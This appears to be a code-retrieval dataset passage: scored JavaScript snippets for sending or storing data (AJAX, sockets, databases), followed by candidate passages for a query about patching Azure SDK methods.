{\n\n var message = {\n _id: data.id,\n data: data\n };\n\n db.put(message, function callback(err, result) {\n\n //for debugging purposes\n // db.info().then(function (info) {\n // console.log(info);\n // });\n\n // getLocalHistory();\n if (err) {\n console.log(err);\n }\n });\n}", "title": "" }, { "docid": "8cd0bfa152252b68ab031327762e2117", "score": "0.5664984", "text": "sendData(ctx, payload) {\n let { sendData, res } = ctx;\n if (sendData)\n sendData(payload);\n else\n res.send(payload);\n }", "title": "" }, { "docid": "9d05b6cbb34acf00f02da145e807bf0f", "score": "0.56623", "text": "function databasesync() {\n db.putSync('eventname', eventname);\n db.putSync('eventdetails', eventdetails);\n db.putSync('eventcreator', eventcreator);\n db.putSync('eventmembers', eventmembers);\n db.putSync('eventreserve', eventreserve);\n db.putSync('tumbnail', tumbnail);\n db.putSync('idofmaker', idofmaker);\n db.putSync('messageid', sentMessage.id);\n console.info('Database Updated');\n}", "title": "" }, { "docid": "14e483334eff987cc29fd8bb7c9a27a9", "score": "0.5659688", "text": "function onData(dato) {\n\tvar time = new Date().getTime(); // Valor correspondientes a las x\n\tvar datos = parseFloat(dato); // Temperatura correspon. a las y\n\tio.sockets.emit('lectura',datos,time); // Emite un evento para todos los clientes conectado \t\n}", "title": "" }, { "docid": "1ac5a84256628d0728bb8e112ccc1e35", "score": "0.56495863", "text": "function send(req, res) {\n var data= req.body; //recibe todo el cuerpo del mensaje\n var message= new Message(); //Traigo el modelo\n message.de= data.de;\n message.para= data.para;//el para del modelo y el para del formulario\n message.msm= data.msm; \n\n message.save((err, message_save)=>{\n if (err) {\n res.status(500).send({message: 'Error en el servidor'})\n } else {\n if (message_save) { //si fue guardado correctamente\n res.status(200).send({message: message_save})\n //me va a devolver el cuerpo del mensaje\n } \n }\n })\n}", "title": "" }, { "docid": "d7940565b71ecb76527badcde5180d72", "score": "0.56473505", "text": "function doPost(e) { \n // data e kita verifikasi\n let update = tg.doPost(e);\n \n try {\n if (debug) return tg.sendMessage(adminBot, JSON.stringify(update, null, 2))\n prosesPesan(update)\n } catch (e) {\n tg.sendMessage(adminBot, e.message)\n }\n \n}", "title": "" }, { "docid": "42efd4ded58799d4d69735349cc4d09e", "score": "0.56461424", "text": "sendData() {\n\t$.post($SCRIPT_ROOT + '/_update_data',\n\t // only sending the data portion of the tree\n\t // back to the server\n\t JSON.stringify(this.viz.tree.data),\n\t function(d, textStatus) {\n\t\t console.log(textStatus)\n\t },\n\t \"json\");\n }", "title": "" }, { "docid": "dc30235426d230c2dda05a189b2b2a25", "score": "0.564527", "text": "function sendMessage(data) {\n socket.send(toJson(data));\n }", "title": "" }, { "docid": "39b18de0b9503ce85ec6058938d865a4", "score": "0.56393564", "text": "function sendData(data) {\r\n\t try{\r\n\t\t datachannel.send(JSON.stringify(data));\r\n\t\t logThis('Sent Data: ' + JSON.stringify(data));\r\n\t }catch(e){\r\n\t\t logThis(\"Exception while using DataChannel.. Maybe it's closed?\");\r\n\t }\r\n\t \r\n\t}", "title": "" }, { "docid": "359394ffb063821ada9243306a61b726", "score": "0.5639333", "text": "function sendData( name, data ) {\n\t$.post( \"http://\" + resourceName + \"/\" + name, JSON.stringify( data ), function( datab ) {\n\t\tif ( datab != \"ok\" ) {\n\t\t\tconsole.log( datab );\n\t\t} \n\t} );\n}", "title": "" }, { "docid": "093f2821fa8a62e65b805e66acad0dce", "score": "0.5639205", "text": "function sendArticle(obj) {\r\n\t\r\n\tconsole.log(obj);\r\n\t\r\n\t$.ajax({\r\n\t url : 'chargeDB',\r\n\t headers: { 'Authorization': \"Bearer \" + document.cookie.split(\"=\")[1] },\r\n\t type : 'POST',\r\n\t dataType: 'json',\r\n\t contentType : 'application/json',\r\n\t data : JSON.stringify(obj)\r\n\t}).done(function(response, textStatus) {\r\n\t\t// Qui passa solo se ricevo dati dal backend [readNewspaper]\r\n\t});\r\n}", "title": "" }, { "docid": "09c1114e8d76a48c8829e8988245b361", "score": "0.56326073", "text": "function getTableData() {\n var result = saveData(\"http://api.duyiedu.com/api/student/findAll\", {\n appkey: \"d913084825_1559419618338\"\n });\n transferData(\"/api/student/findAll\", {}, function(result) {\n console.log(result);\n tableData = result.data;\n renderTable(result.data);\n });\n}", "title": "" }, { "docid": "58fbb1ff8878bc203ea89e636cf597b8", "score": "0.5631757", "text": "function saveDataToStorage(data) {\n\n\n _setUpHttpRequest(\n {\n \"method\": \"POST\"\n , \"url\": secureStorageService\n , \"data\": data\n , \"json\": isJson(data)\n }\n );\n\n}", "title": "" }, { "docid": "199b4fedb4cc2cab6eaf4f102c1e2839", "score": "0.56203175", "text": "function saveCurrentDataInDB() {\n var curentdateTime = getDate();\n var signalDbm = getSignalDbm();\n var batterieLevel = getBatterieLevel();\n var batterieEnChargeInt = isBatteriePluggedInteger();\n var hashkey = \"\" + curentdateTime + signalDbm + batterieLevel + batterieEnChargeInt;\n\n //Update DB (insert value on DB)\n doInsertOnDB(curentdateTime, signalDbm, batterieLevel, batterieEnChargeInt, hashkey);\n}", "title": "" }, { "docid": "e2486c98edf243a6f8eb4ed0341cca75", "score": "0.56181294", "text": "function send () {\n if (outgoing.length) {\n serializer.serialize('record', outgoing.shift(), send)\n }\n }", "title": "" }, { "docid": "6b3b08026e92b3b3d106bfbf5bdf1581", "score": "0.56176037", "text": "static writeToDB () {\n var db = new JsonDB(config.jsondb, true, false);\n\n db.push('/', Restreamer.dataForJsonDb());\n }", "title": "" }, { "docid": "f557c6278f7f2f873b5ef941f589a09b", "score": "0.56153107", "text": "function sendQuery(self) {\n var data = JSON.stringify(self.$query);\n\n // TODO: verify if fields are valid\n\n if(self.options.onQuery) {\n self.options.onQuery(self.$query);\n } else {\n $.ajax({\n type: 'POST',\n url: self.options.endpoint || defaultOptions.endpoint,\n data: data,\n contentType: 'application/json; charset=utf-8',\n dataType: 'json',\n success: self.options.success || defaultOptions.success,\n error: self.options.error || defaultOptions.error\n });\n }\n }", "title": "" }, { "docid": "ad9e282148fe6f0a7b5d906faa861a95", "score": "0.56073874", "text": "function shareDataHelper(req,res){\n var jsonObj = req.body;\n if ( jsonObj.format === \"Collusion Save File\" && jsonObj.version === \"1.1\" ){ // check format and version\n postToDB(jsonObj.connections,function(result){\n console.log(\"========== SHARE DATA ENDS ==========\");\n if ( result.error ){\n console.log(\"[ ERROR ] \" + result.error);\n }else{\n console.log(\"[ Row Inserted into Table Connections ] \" + result.rowAdded + \" rows.\");\n logUpload(jsonObj.token, result.rowAdded, result.timeStart, result.timeEnd);\n }\n });\n res.send('posting ' + jsonObj.connections.length + ' connections to database');\n }else{\n res.send(\"Sorry. Format/version \" + jsonObj.format + \"/\" + jsonObj.version + \" not supported.\");\n }\n}", "title": "" }, { "docid": "dbdc4c83c1abbdbe6277e00fd5b91de9", "score": "0.5607031", "text": "function send_message(data) {\n var newData = data;\n console.log('Sending: ' + data.newblock + ', ' + data.lastblock + ', ' + data.mok + ', ' + data.sok + ', ' + data.start);\n // Send that object to the socket\n socket.emit('data', newData);\n}", "title": "" }, { "docid": "d025774984ae2eb44449ec8b92e87509", "score": "0.56054187", "text": "function createData() {\n // save data to the database\n _exampleService.create(vm.tableData, function (err, res) {\n _toast.create(res.message, null, (err) ? 'fail' : 'success');\n\n if (!err) vm.backToManage();\n });\n }", "title": "" }, { "docid": "fdc3b27c72d9e27066d863dc9b0572c3", "score": "0.55989605", "text": "async function sendPlayerData(_requestedUrl, _PlayerData) {\n let mongoDetails = { useNewUrlParser: true, useUnifiedTopology: true };\n let mongoClientDetails = new Mongo.MongoClient(_requestedUrl, mongoDetails);\n await mongoClientDetails.connect();\n let collectionDetails = mongoClientDetails.db(\"Memory_Game\").collection(\"playerData\");\n collectionDetails.insertOne(_PlayerData);\n let databaseResponseString = \"Die Daten wurden erfolgreich gespeichert!\";\n return databaseResponseString;\n }", "title": "" }, { "docid": "7a163a8a22c4090c513cef4f7cfa9e20", "score": "0.55989265", "text": "sendData(data) {\n const self = this\n if (self.connection.readyState === self.connection.OPEN) {\n self.connection.send(JSON.stringify(data))\n } else {\n self.connection.onopen = () => {\n self.connection.send(JSON.stringify(data))\n }\n }\n }", "title": "" }, { "docid": "eaf2a4322130bb2f2b9ff1349f3a188a", "score": "0.55988383", "text": "function pushButton() {\n // Get the value of the text area \n let message = document.getElementById(\"message\").value;\n alert(message);\n\n /** Save to mobile backend **/\n // Generate destination class \n const MessageClass = ncmb.DataStore(\"MessageClass\");\n // Generate class instance \n const messageClass = new MessageClass();\n // Set data Save \n messageClass.set(\"message\", message).save();\n}", "title": "" }, { "docid": "52db064ee40952cbd2ad2c1ddd716fb7", "score": "0.559726", "text": "importRequestData() {\n const message = '[DC] Import complete';\n this.socket.emit('importRequestData', message);\n }", "title": "" }, { "docid": "41888b58e728406705958e72d5138e66", "score": "0.5596948", "text": "saveData() {\n console.log(this.state.qty +\" \" + this.state.price+ \" \" +this.state.delivert_type);\n // this.setModalVisible(false);\n\n const items = { \n farmer_id: 'FRMR34_AG3',\n harvesting_id: '5',\n user_id: '1',\n address: 'Tissamaharama',\n quantity: this.state.qty,\n requesting_price: this.state.price,\n delivery_type: this.state.delivert_type,\n };\n\n axios.post(`https://agrobizz.net/api/agroTrading/liveTrading/addNew`, items)\n .then(res => {\n // console.log(\"message : \" + JSON.stringify(res));\n console.log(res.data.message);\n this.setModalVisible(false);\n });\n }", "title": "" }, { "docid": "2f19956745eb861f220d061fbe12954b", "score": "0.5596681", "text": "function saveData(){\nconsole.log(\"save button clicked\");\nalert(\"save button clicked\");\nvar name= document.getElementById(\"name\").value;\nvar available= document.getElementById(\"available\").value;\nconsole.log(name,available);\n\n\ndb.transaction(\n function(tx){\n tx.executeSql( \"INSERT INTO hero(name, available) VALUES(?,?)\",\n [name,available],\n onSuccessExecuteSql,\n onError )\n },\n onError,\n onReadyTransaction\n )\n\n}", "title": "" }, { "docid": "11eb5b8b75a0ca4fb2fca36d75d13d3c", "score": "0.55946857", "text": "send() {\n // Disable send button\n this.okPressed = true;\n\n // Get account private key for preparation or return\n if (!this._Wallet.decrypt(this.common)) return this.okPressed = false;\n\n // Build the entity to serialize\n let entity = this.prepareTransaction(this.common, this.formData);\n\n // Use wallet service to serialize and send\n this._Wallet.transact(this.common, entity).then(() => {\n this._$timeout(() => {\n // Enable send button\n this.okPressed = false;\n // Reset all\n this.init();\n return;\n });\n }, () => {\n this._$timeout(() => {\n // Delete private key in common\n this.common.privateKey = '';\n // Enable send button\n this.okPressed = false;\n return;\n });\n });\n }", "title": "" }, { "docid": "ed773f8f08383a24e0405407048d5460", "score": "0.55939555", "text": "function sendTask(){\n\n\n var taskToSend= {\n theTask: $('#taskOne').val(),\n };\n\n$.ajax({\n url: '/tasks',\n type: 'POST',\n data: taskToSend,\n success: function (response) {\n console.log ('back from server with', response);\n getTasks();\n }//end success\n });//end ajax\n}//end send data to db", "title": "" }, { "docid": "0f3b41dcc8d4e062c7fd01713ef03c88", "score": "0.55834985", "text": "AddFertilizerData (args) {\n // console.log(\"Args:\",args)\n const API_URL = `http://localhost:8000/addfertilizer`\n return ezFetch.post(API_URL,args)\n }", "title": "" }, { "docid": "7af7d960c8dc4d3bcdeb4b6b505415d2", "score": "0.5583191", "text": "function insertData() {\n\n vm.globalUserID = vm.users[vm.users.length-1].id + 1;\n\n var dataToIns = {\n id: vm.globalUserID,\n first_name: vm.f_name,\n last_name: vm.l_name,\n email: vm.email,\n gender: vm.gender\n }\n\n $http.post('http://localhost:3000/users', dataToIns);\n\n // Empty input forms\n vm.f_name = \"\";\n vm.l_name = \"\";\n vm.email = \"\";\n vm.gender = \"\";\n\n }", "title": "" }, { "docid": "a5ae40f57727e3835a65a6983f7fd274", "score": "0.55815816", "text": "function sendData() {\n\t\t\t\n\tvar data = getInputs();\n\t\n\t\n\tvar url = \"http://localhost:8080/queryrecorderservice/rest/todo/post\";\n\t\n\tvar xmlhttp = new XMLHttpRequest();\n\t\t\n\t\t\n\txmlhttp.overrideMimeType('text/plain'); \n\t\t\t\t\n\txmlhttp.open('POST',url,true);\n\t\n\t\t\n\t\n\t\t\n\txmlhttp.setRequestHeader( \"Content-type\", \"text/plain\");\n\txmlhttp.setRequestHeader(\"Content-length\", data.length);\n\txmlhttp.setRequestHeader(\"Connection\", \"close\");\n\t//alert(\"Inside\");\n\txmlhttp.send(data);\n\t\t\n\t\t\n\t//alert(\"Outside\");\n\n\t\n\treturn true;\n}", "title": "" }, { "docid": "8b3e5aa2248fe29c964cfa6ab1e6cdc2", "score": "0.55796134", "text": "function save(){\n $.ajax({\n url: 'http://nodedatastore.herokuapp.com/sumair', \n type: 'POST', \n contentType: 'application/json', \n data: JSON.stringify(DATA),\n success:function(res){console.log(res);}\n });\n}", "title": "" }, { "docid": "ea427d5f93213f083dbe9daae7855d04", "score": "0.5578537", "text": "function send_data(){\r\n var socket = io.connect();\r\n socket.emit('Recive-data-web', { user_temp: slider.value,user_hum:slider1.value});\r\n // socket.emit('Recive-data-web', { user_temp:25,user_hum:33});\r\n var text = document.getElementById(\"textupdate\"); \r\n socket.on('recive_timeupdate',function(time){\r\n var text = document.getElementById(\"textupdate\"); \r\n text.innerHTML =\"Update : \"+ time.time; \r\n });\r\n // get_setting();\r\n // text.innerHTML =\"Update : \"+ data.time; \r\n }", "title": "" }, { "docid": "75088d1518b19ce79421197b9d11099a", "score": "0.5572693", "text": "function sendData() {\n\t var fullName = $(\"#fullName\").val();\n\n\t var dataPlayer = {\n\t \tname: fullName,\n\t \tmail: $(\"#mail\").val(),\n\t \tnumber: $(\"#number\").val(),\n\t \tposition: $(\"#position option:selected\").text(),\n\t \timage : downloadURL\n\t }\n\n\t \tvar onComplete = function(error){\n\t \tif (error){\n\t \t\tconsole.log(error,'La sincronización falló');\n\t \t}else{\n\t \t\tconsole.log(error,'La sincronización ha sido exitosa');\n\t \t}\n\t }\n\n\t rootRef.once('value', function(snapshot){\n\t if(snapshot.hasChild(fullName)){\n\t $('#myModal').modal('show');\n\t } else {\n\t rootRef.child(fullName).set(dataPlayer, onComplete);\n\t }\n\t })\n\n\t}", "title": "" }, { "docid": "e2ab83dd28508b5d579225498974db89", "score": "0.55715054", "text": "sendData(){\n let xhr = new XMLHttpRequest();\n let url = \"get_data\";\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/json\");\n xhr.onreadystatechange = function () {\n if (xhr.readyState === 4 && xhr.status === 200) {\n let json = JSON.parse(xhr.responseText);\n // console.log(json);\n }\n };\n let data = JSON.stringify({'logname':this.gamelog.logname, 'logdata': this.gamelog.datalog});\n // console.log(data);\n xhr.send(data);\n }", "title": "" }, { "docid": "ca4b49e981420b4a6f3cad38a40bf60c", "score": "0.55624384", "text": "function onSend() {\n dc1.send(sendInput.value);\n}", "title": "" }, { "docid": "4928eeda2b56cac3f5a3da8572a7090c", "score": "0.55592865", "text": "function sendToDatabase(content, column, email) {\r\n $.ajax({\r\n url: 'api/storedata.php',\r\n type: 'post',\r\n data: {'action': 'store', 'column': column, 'content': content, 'email': email},\r\n success: function(data) {\r\n var responseStatus = data.status;\r\n if (responseStatus !== 0) {\r\n alert(data.error+\".\\nPlease try again later.\");\r\n } else {\r\n console.log('submit success');\r\n if (counter===3){\r\n $(\"#campus\").show();\r\n $(\"#secondI\").hide();\r\n $(\"#button\").hide();\r\n }\r\n if (counter===6){\r\n counter++;\r\n }\r\n if (counter===7){\r\n location.href = 'profile.php';\r\n }\r\n }\r\n },\r\n error: function(xhr, desc, err) {\r\n if (counter===3){\r\n $(\"#campus\").show();\r\n $(\"#secondI\").hide();\r\n $(\"#button\").hide();\r\n }\r\n if (counter===6){\r\n counter++;\r\n }\r\n if (counter===7){\r\n location.href = 'profile.php';\r\n }\r\n }\r\n });\r\n }", "title": "" }, { "docid": "6884d8125f138af582475f6caa3542a7", "score": "0.5557367", "text": "sendData(td, newData) { \n // Creates XHR object\n var xhr = new XMLHttpRequest();\n\n // When finif=shed, just console.log response\n xhr.onload = function() {\n console.log(xhr.responseText);\n }\n\n\n xhr.open('POST', '/saveData', true); // Activates //SaveData route and saveData() function \n xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded'); // Set request header\n xhr.send(`data=${newData}&id=${td.id}`); // 2 Variables passed with AJAX\n\n }", "title": "" }, { "docid": "713be1d023ef7f501d67f63b02a0eb7c", "score": "0.55406374", "text": "sendFeedback(){\n const data = this.get('data');\n\n this.sendAction('sendFeedback', data);\n this.set('data', {});\n }", "title": "" }, { "docid": "1fb7d7f66e61bc8e3fab814ebccbccfb", "score": "0.553844", "text": "function pushData(req, res,next)\n{\n\tif(!auth(req.authorization.basic.username,req.authorization.basic.password))\n\t{\n\t\tres.send(401);\n\t\treturn next;\n\t}\n//TODO: Change to send to child Socket IO Server \n//\tio.sockets.emit(req.body.data.id,req.body);\n\tconsole.log(\"ABC\");\n\tvar msgToSend = {type:\"broadcast\",id:req.body.data.id, body:req.body};\n\tsocketServer.send(msgToSend);\n\tres.send(req.body.data);\n\taddToHistory(req.body.data.id, req.body.data);\n\treturn next;\n\n}", "title": "" }, { "docid": "5a7b32ba2f6879b87ace1ba3d8e6132f", "score": "0.5534076", "text": "saveChat(data,callback){\n\t\tthis.Mongodb.onConnect( (db,ObjectID) => {\n\t\t\tdb.collection('chats').insertOne(data, (err, result) =>{\n\t\t\t\tdb.close();\n\t\t\t\tcallback(err,result);\n\t\t\t});\n\t\t});\n\t}", "title": "" } ]
48debae5d4999aa6482a5476331d90a2
Patch Azure SDK methods.
[ { "docid": "0e7b1ce4ca7a7f56ee1b95ff234e469a", "score": "0.5627793", "text": "init() {\n module_utils.patchModule(\n '@azure/storage-blob',\n 'upload',\n blobUploadWrapper,\n Clients => Clients.BlockBlobClient.prototype\n );\n module_utils.patchModule(\n '@azure/storage-blob',\n 'download',\n blobDownloadWrapper,\n Clients => Clients.BlockBlobClient.prototype\n );\n module_utils.patchModule(\n '@azure/cosmos',\n 'create',\n cosmosCreateItemWrapper,\n index => index.Items.prototype\n );\n }", "title": "" } ]
[ { "docid": "5ea5b1f05b58d653d35ac4d6ac706aec", "score": "0.5980285", "text": "patchMethodCall() {\n this.patchNonMethodCall();\n }", "title": "" }, { "docid": "c9f511210d0979d7b455538103457a82", "score": "0.55900395", "text": "patchDynamicMethodCall() {\n this.patchNonMethodCall();\n }", "title": "" }, { "docid": "3e2145dad854fcabe861328e3b96a079", "score": "0.53884065", "text": "function PATCH(){\n\n}", "title": "" }, { "docid": "ab6785b0b6e428f94e118a5ee6d3fe94", "score": "0.52100426", "text": "get EXTERNAL_API() {\n return ['setUsageMode',\n 'setBackupMode',\n 'setLocationMode',\n 'setUsageOptinHidden',\n ];\n }", "title": "" }, { "docid": "e87ab65fa11e20e233dec26793391d2b", "score": "0.52067596", "text": "patch() {\n }", "title": "" }, { "docid": "d5d5238cfeda838ff03980c104eaa2d7", "score": "0.5091711", "text": "get EXTERNAL_API() {\n return ['updateA11ySettingsButtonVisibility',\n 'updateA11yNavigationButtonToggle'];\n }", "title": "" }, { "docid": "8f685790abf61b6c3baa19524f34b415", "score": "0.49801853", "text": "async function patchACluster() {\n const subscriptionId = \"00000000-0000-0000-0000-000000000000\";\n const resourceGroupName = \"resRg\";\n const clusterName = \"myCluster\";\n const parameters = {\n eventStoreServiceEnabled: true,\n nodeTypes: [\n {\n name: \"nt1vm\",\n applicationPorts: { endPort: 30000, startPort: 20000 },\n clientConnectionEndpointPort: 19000,\n durabilityLevel: \"Bronze\",\n ephemeralPorts: { endPort: 64000, startPort: 49000 },\n httpGatewayEndpointPort: 19007,\n isPrimary: true,\n vmInstanceCount: 5,\n },\n {\n name: \"testnt1\",\n applicationPorts: { endPort: 2000, startPort: 1000 },\n clientConnectionEndpointPort: 0,\n durabilityLevel: \"Bronze\",\n ephemeralPorts: { endPort: 4000, startPort: 3000 },\n httpGatewayEndpointPort: 0,\n isPrimary: false,\n vmInstanceCount: 3,\n },\n ],\n reliabilityLevel: \"Bronze\",\n tags: { a: \"b\" },\n upgradeMode: \"Automatic\",\n upgradePauseEndTimestampUtc: new Date(\"2021-06-25T22:00:00Z\"),\n upgradePauseStartTimestampUtc: new Date(\"2021-06-21T22:00:00Z\"),\n upgradeWave: \"Wave\",\n };\n const credential = new DefaultAzureCredential();\n const client = new ServiceFabricManagementClient(credential, subscriptionId);\n const result = await client.clusters.beginUpdateAndWait(\n resourceGroupName,\n clusterName,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "a9aebab939c59f50f8c6e16a6150ebf6", "score": "0.49693102", "text": "async function updateWebhook() {\n const subscriptionId = process.env[\"AUTOMATION_SUBSCRIPTION_ID\"] || \"subid\";\n const resourceGroupName = process.env[\"AUTOMATION_RESOURCE_GROUP\"] || \"rg\";\n const automationAccountName = \"myAutomationAccount33\";\n const webhookName = \"TestWebhook\";\n const parameters = {\n name: \"TestWebhook\",\n description: \"updated webhook\",\n isEnabled: false,\n };\n const credential = new DefaultAzureCredential();\n const client = new AutomationClient(credential, subscriptionId);\n const result = await client.webhookOperations.update(\n resourceGroupName,\n automationAccountName,\n webhookName,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "2c056c7b1e5e73105e0d10a89440c38a", "score": "0.49609885", "text": "projectProjectIdAccessTokenProjectAccessTokenPatch(incomingOptions, cb) {\n const Rollbar = require('./dist');\n\n let apiInstance = new Rollbar.DefaultApi(); // Number | // String | // String | Use an account access token with 'write' scope\n /*let projectId = 56;*/ /*let projectAccessToken = \"projectAccessToken_example\";*/ /*let xRollbarAccessToken = \"xRollbarAccessToken_example\";*/ let opts = {\n body: new Rollbar.Api1ProjectAccessTokenRequest(), // Api1ProjectAccessTokenRequest |\n };\n\n if (incomingOptions.opts)\n Object.keys(incomingOptions.opts).forEach(\n (key) =>\n incomingOptions.opts[key] === undefined &&\n delete incomingOptions.opts[key]\n );\n else delete incomingOptions.opts;\n incomingOptions.opts = Object.assign(opts, incomingOptions.opts);\n\n apiInstance.projectProjectIdAccessTokenProjectAccessTokenPatch(\n incomingOptions.projectId,\n incomingOptions.projectAccessToken,\n incomingOptions.xRollbarAccessToken,\n incomingOptions.opts,\n (error, data, response) => {\n if (error) {\n cb(error, null, response);\n } else {\n cb(null, data.result, response);\n }\n }\n );\n }", "title": "" }, { "docid": "7bc392468764940acddaa9ad30fa5632", "score": "0.4949113", "text": "async function updateTagsFieldOfAnAzureBareMetalInstance() {\n const subscriptionId =\n process.env[\"BAREMETALINFRASTRUCTURE_SUBSCRIPTION_ID\"] ||\n \"f0f4887f-d13c-4943-a8ba-d7da28d2a3fd\";\n const resourceGroupName =\n process.env[\"BAREMETALINFRASTRUCTURE_RESOURCE_GROUP\"] || \"myResourceGroup\";\n const azureBareMetalInstanceName = \"myABMInstance\";\n const tagsParameter = { tags: { testkey: \"testvalue\" } };\n const credential = new DefaultAzureCredential();\n const client = new BareMetalInfrastructureClient(credential, subscriptionId);\n const result = await client.azureBareMetalInstances.update(\n resourceGroupName,\n azureBareMetalInstanceName,\n tagsParameter\n );\n console.log(result);\n}", "title": "" }, { "docid": "defb41f1bf73cd98fa7ced9177500295", "score": "0.49411085", "text": "async function apiManagementUpdateApiOperation() {\n const subscriptionId = process.env[\"APIMANAGEMENT_SUBSCRIPTION_ID\"] || \"subid\";\n const resourceGroupName = process.env[\"APIMANAGEMENT_RESOURCE_GROUP\"] || \"rg1\";\n const serviceName = \"apimService1\";\n const apiId = \"echo-api\";\n const operationId = \"operationId\";\n const ifMatch = \"*\";\n const parameters = {\n method: \"GET\",\n displayName: \"Retrieve resource\",\n templateParameters: [],\n urlTemplate: \"/resource\",\n request: {\n queryParameters: [\n {\n name: \"param1\",\n type: \"string\",\n description: 'A sample parameter that is required and has a default value of \"sample\".',\n defaultValue: \"sample\",\n required: true,\n values: [\"sample\"],\n },\n ],\n },\n responses: [\n {\n description: \"Returned in all cases.\",\n headers: [],\n representations: [],\n statusCode: 200,\n },\n {\n description: \"Server Error.\",\n headers: [],\n representations: [],\n statusCode: 500,\n },\n ],\n };\n const credential = new DefaultAzureCredential();\n const client = new ApiManagementClient(credential, subscriptionId);\n const result = await client.apiOperation.update(\n resourceGroupName,\n serviceName,\n apiId,\n operationId,\n ifMatch,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "3f3aade6a8d3337ce17b22b51831f3f3", "score": "0.4863749", "text": "_proxyMethods() {\n const methods = this._opts.methods || {}\n for(const method in methods) {\n Object.defineProperty(this, method, {\n get() {\n return methods[method]\n }\n })\n }\n }", "title": "" }, { "docid": "32f4c3b9fba81aa1d1318c7fe5c7fd89", "score": "0.48357448", "text": "_instrumentOperations(collection, operations, getCurrentHub) {\n operations.forEach((operation) => this._patchOperation(collection, operation, getCurrentHub));\n }", "title": "" }, { "docid": "c47e4e4794a6b89d39b2d6cf30ad73a8", "score": "0.48024288", "text": "async update () {\n // Get the remote calls names\n let remote = await this.call('_update');\n // Reset the remote object\n this.remote = {};\n // Fill the remote object with the calls wrappers\n remote.forEach(name => {\n this.remote[name] = async (...args) => {\n return await this.call(name, ...args);\n }\n });\n return this.remote;\n }", "title": "" }, { "docid": "eef2db7a7b0681e115227af1b700dd91", "score": "0.47664818", "text": "setMethod(method) {\n this.options.method = method;\n }", "title": "" }, { "docid": "e23f33c0fc4b5d58dd73d52f9d41327e", "score": "0.47579667", "text": "_instrumentOperations(collection, operations, getCurrentHub) {\n\t operations.forEach((operation) => this._patchOperation(collection, operation, getCurrentHub));\n\t }", "title": "" }, { "docid": "ded3893f947d7bdb398a82cabbd3c859", "score": "0.47512725", "text": "function iodocsUpgrade(data){\n \tvar data = data['endpoints'];\n\tvar newResource = {};\n\tnewResource.resources = {};\n\tfor (var index2 = 0; index2 < data.length; index2++) {\n\t\tvar resource = data[index2];\n\t\tvar resourceName = resource.name;\n\t\tnewResource.resources[resourceName] = {};\n\t\tnewResource.resources[resourceName].methods = {};\n\t\tvar methods = resource.methods;\n\t\tfor (var index3 = 0; index3 < methods.length; index3++) {\n\t\t\tvar method = methods[index3];\n\t\t\tvar methodName = method['MethodName'];\n\t\t\tvar methodName = methodName.split(' ').join('_');\n\t\t\tnewResource.resources[resourceName].methods[methodName] = {};\n\t\t\tnewResource.resources[resourceName].methods[methodName].name = method['MethodName'];\n\t\t\tnewResource.resources[resourceName].methods[methodName]['httpMethod'] = method['HTTPMethod'];\n\t\t\tnewResource.resources[resourceName].methods[methodName]['path'] = method['URI'];\n\t\t\tnewResource.resources[resourceName].methods[methodName].parameters = {};\n\t\t\tif (!method.parameters) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tvar parameters = method.parameters;\n\t\t\tfor (var index4 = 0; index4 < parameters.length; index4++) {\n\t\t\t\tvar param = parameters[index4];\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name] = {};\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name]['title'] = param.name;\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name]['required'] = (param['Required'] == 'Y');\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name]['default'] = param['Default'];\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name]['type'] = param['Type'];\n\t\t\t\tnewResource.resources[resourceName].methods[methodName].parameters[param.Name]['description'] = param['Description'];\n\t\t\t}\n\t\t}\n\t}\n return newResource;\n}", "title": "" }, { "docid": "4754675207d82975912a9138442fc99a", "score": "0.47319913", "text": "interceptPrototypeMethod(Clz, methodName, aspectObject) {\n const originMethod = Clz.prototype[methodName];\n if (types_1.Types.isAsyncFunction(Clz.prototype[methodName])) {\n Clz.prototype[methodName] = async function (...args) {\n var _a, _b, _c;\n let error, result;\n const newProceed = (...args) => {\n return originMethod.apply(this, args);\n };\n const joinPoint = {\n methodName,\n target: this,\n args: args,\n proceed: newProceed,\n };\n if (typeof aspectObject === 'function') {\n aspectObject = aspectObject();\n }\n try {\n await ((_a = aspectObject.before) === null || _a === void 0 ? void 0 : _a.call(aspectObject, joinPoint));\n if (aspectObject.around) {\n result = await aspectObject.around(joinPoint);\n }\n else {\n result = await originMethod.call(this, ...joinPoint.args);\n }\n joinPoint.proceed = undefined;\n const resultTemp = await ((_b = aspectObject.afterReturn) === null || _b === void 0 ? void 0 : _b.call(aspectObject, joinPoint, result));\n result = typeof resultTemp === 'undefined' ? result : resultTemp;\n return result;\n }\n catch (err) {\n joinPoint.proceed = undefined;\n error = err;\n if (aspectObject.afterThrow) {\n await aspectObject.afterThrow(joinPoint, error);\n }\n else {\n throw err;\n }\n }\n finally {\n await ((_c = aspectObject.after) === null || _c === void 0 ? void 0 : _c.call(aspectObject, joinPoint, result, error));\n }\n };\n }\n else {\n Clz.prototype[methodName] = function (...args) {\n var _a, _b, _c;\n let error, result;\n const newProceed = (...args) => {\n return originMethod.apply(this, args);\n };\n const joinPoint = {\n methodName,\n target: this,\n args: args,\n proceed: newProceed,\n };\n if (typeof aspectObject === 'function') {\n aspectObject = aspectObject();\n }\n try {\n (_a = aspectObject.before) === null || _a === void 0 ? void 0 : _a.call(aspectObject, joinPoint);\n if (aspectObject.around) {\n result = aspectObject.around(joinPoint);\n }\n else {\n result = originMethod.call(this, ...joinPoint.args);\n }\n joinPoint.proceed = undefined;\n const resultTemp = (_b = aspectObject.afterReturn) === null || _b === void 0 ? void 0 : _b.call(aspectObject, joinPoint, result);\n result = typeof resultTemp === 'undefined' ? result : resultTemp;\n return result;\n }\n catch (err) {\n joinPoint.proceed = undefined;\n error = err;\n if (aspectObject.afterThrow) {\n aspectObject.afterThrow(joinPoint, error);\n }\n else {\n throw err;\n }\n }\n finally {\n (_c = aspectObject.after) === null || _c === void 0 ? void 0 : _c.call(aspectObject, joinPoint, result, 